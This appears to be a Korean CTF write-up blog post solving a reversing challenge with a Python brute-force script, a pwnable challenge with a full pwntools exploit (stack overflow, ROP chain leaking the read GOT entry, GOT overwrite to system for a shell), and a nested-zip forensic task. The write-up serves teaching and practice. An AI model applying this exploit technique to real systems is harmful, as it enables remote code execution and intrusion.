Reversing

Reversing #2

문제를 보면 반복문이 엄청나게 돌고있다.. 디버깅해서 연산하는 곳마다 브레이크 포인트 걸어주고 풀었다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rsi
  signed int v4; // eax
  signed int v5; // eax
  bool v6; // zf
  signed int v7; // eax
  signed int v9; // [rsp+7Ch] [rbp-224h]
  int v10; // [rsp+80h] [rbp-220h]
  int v11; // [rsp+84h] [rbp-21Ch]
  unsigned __int64 v12; // [rsp+88h] [rbp-218h]
  char s1[256]; // [rsp+90h] [rbp-210h]
  char s[268]; // [rsp+190h] [rbp-110h]
  unsigned int v15; // [rsp+29Ch] [rbp-4h]

  v15 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  memset(s, 0, 0x100uLL);
  memset(s1, 0, 0x100uLL);
  v3 = s;
  printf("Easy one. Just Reverse Me :)\n", 0LL);
  v12 = (signed int)read(0, s, 0x100uLL);
  v11 = 0;
  v9 = 784577434;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                while ( 1 )
                {
                  while ( v9 == -1283299488 )
                  {
                    v3 = (char *)v10;
                    s1[v10] ^= byte_602060[v10 % 5];
                    v9 = 689708032;
                  }
                  if ( v9 != -1112985830 )
                    break;
                  v5 = -576509350;
                  if ( v10 < v12 )
                    v5 = -1283299488;
                  v9 = v5;
                }
                if ( v9 != -937301210 )
                  break;
                v10 = 0;
                v9 = -1112985830;
              }
              if ( v9 != -576509350 )
                break;
              v3 = (char *)&unk_602070;
              v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;
              v7 = 447126853;
              if ( !v6 )
                v7 = 596317950;
              v9 = v7;
            }
            if ( v9 != 447126853 )
              break;
            v9 = 955640552;
            printf("Input is your flag\n", v3);
          }
          if ( v9 != 596317950 )
            break;
          v9 = 955640552;
          puts("Nope.");
        }
        if ( v9 != 689708032 )
          break;
        ++v10;
        v9 = -1112985830;
      }
      if ( v9 != 784577434 )
        break;
      v4 = -937301210;
      if ( v11 < v12 )
        v4 = 1637913944;
      v9 = v4;
    }
    if ( v9 == 955640552 )
      break;
    if ( v9 == 1637913944 )
    {
      v3 = (char *)16;
      s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];
      v9 = 1690546716;
    }
    else if ( v9 == 1690546716 )
    {
      ++v11;
      v9 = 784577434;
    }
  }
  return v15;
}

간단하게 연산 순서를 나타내면 아래와 같다.

  1. byte_400c20에 있는 테이블 값을 뽑아서 s1에 넣어주고있다.
s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];

  1. 그리고 byte_602060에 저장된 “SECRET”과 xor연산해준다.
s1[v10] ^= byte_602060[v10 % 5];

  1. 마지막으로는 30글자 메모리 값을 비교해준다.
v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;

이런 분기로 프로그램이 흘러간다.

이렇게 되면 쉽게 그냥 역연산 짜주면 된다.

byte_400C20[16 * (INPUT / 16) + INPUT % 16] ^ byte_602060[i%5] == unk_602070[i]

이런식으로 프로그램이 흘러간다는 것을 알 수 있다. 그러면 역연산 해주면 된다.

우선 byte_602060[i%5] ^ unk_602070[i] 을 해주면 byte_400C20[16 * (INPUT / 16) + INPUT % 16] 이 나온다.

나는 브루트포스해서 INPUT 값을 구해주었다.

bt=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43
,254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71
,240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253
,147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216
,49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128
,226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90
,160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0
,237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88
,207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2
,127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56
,245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12
,19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93
,25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238
,184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36
,92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200
,55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101
,122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232
,221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102
,72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158
,225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135
,233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230
,66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
table = [0x60,0x15,0xac,0xd7,0x64,0x57,0xef,0x70,0xcf,0xd3,0xa8,0x5d,0xd1,0xd6,0x5,0x9c,0x5f,0x5b,0xcd,0x65,0x9c,0xd3,0x63,0x56,0x16,0x9c,0xa6,0x80,0xad,0x22]

flag = []
m="SECRET"
for i in range(len(table)):
	for j in range(33,127):
		if ord(m[i%5]) ^ table[i] == bt[16 * (j / 16) + j % 16]:
			flag.append(j)
			break
print ''.join(chr(i) for i in flag)

FLAG : flag{0bfu5c4tOr_C4nT_5T0P_M3}


Pwnable

GOT_O

간단한 got overwrite 문제이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  problem();
  write(1, "\n\n", 2u);
  return 0;
}
ssize_t problem()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0xA0u);
}
int win()
{
  return printf("/bin/sh");
}

exploit.py

from pwn import *

context.log_level = 'debug'

p = remote('inc0gnito.com',9090)
elf = ELF('./GOT_o')

main = 0x080484a3
win = 0x0804848a
problem = 0x0804846b
read_offset = 0x9ad60 # read - system

payload = cyclic(cyclic_find('haaa'))

rop1 = ROP(elf)
rop1.write(1,elf.got['read'],4)
rop1.call(problem)

log.info('Stage1')

p.sendline(payload + str(rop1))
sleep(0.1)
read_got = u32(p.recv(4))

sys_got = read_got - read_offset

rop2 = ROP(elf)
rop2.read(0,elf.got['printf'],4)
rop2.call(win)

log.info('Stage2')

p.sendline(payload + str(rop2))
sleep(0.1)
p.sendline(p32(sys_got))
sleep(0.1)

p.interactive()

FLAG : FLAG{This_is_got_overwrite}


Forensic

wh3re_is_my_f14g

zip 파일이 주어지는데 그 안에 zip 파일이 하나 더 숨겨져있어서 그거 추출해줬는데 플래그 있었다.

FLAG : 1nC0{d0_you_kn0w_21p?}

+ Recent posts